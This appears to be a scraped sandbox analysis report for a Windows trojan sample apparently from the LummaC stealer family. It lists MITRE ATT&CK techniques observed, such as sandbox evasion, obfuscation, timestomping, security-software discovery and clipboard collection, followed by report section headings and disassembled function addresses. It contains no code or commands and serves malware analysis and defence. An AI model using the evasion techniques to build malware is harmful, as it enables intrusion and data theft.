Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Function 00CF31B4 Relevance: 1.8, Strings: 1, Instructions: 536
COMMON

Function 00CF2E24 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Function 00CF2E30 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 00CF2BA0 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Function 00CF2BA8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 00CF2A08 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Function 00CF2C91 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 00CF2C98 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 00CF2A10 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 00CF2AE0 Relevance: 1.6, APIs: 1, Instructions: 57
memoryCOMMON

Function 00CF2958 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Function 00CF2AE8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Function 00CF2960 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Function 0042EB21 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 640
memoryCOMMON

Function 0043406B Relevance: 5.8, Strings: 4, Instructions: 752
COMMON

Function 00433FA0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 0042E876 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 231
COMMON

Function 0040A810 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 586
libraryCOMMON

Function 00409930 Relevance: 4.5, APIs: 3, Instructions: 32
COMMON

Function 00433DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON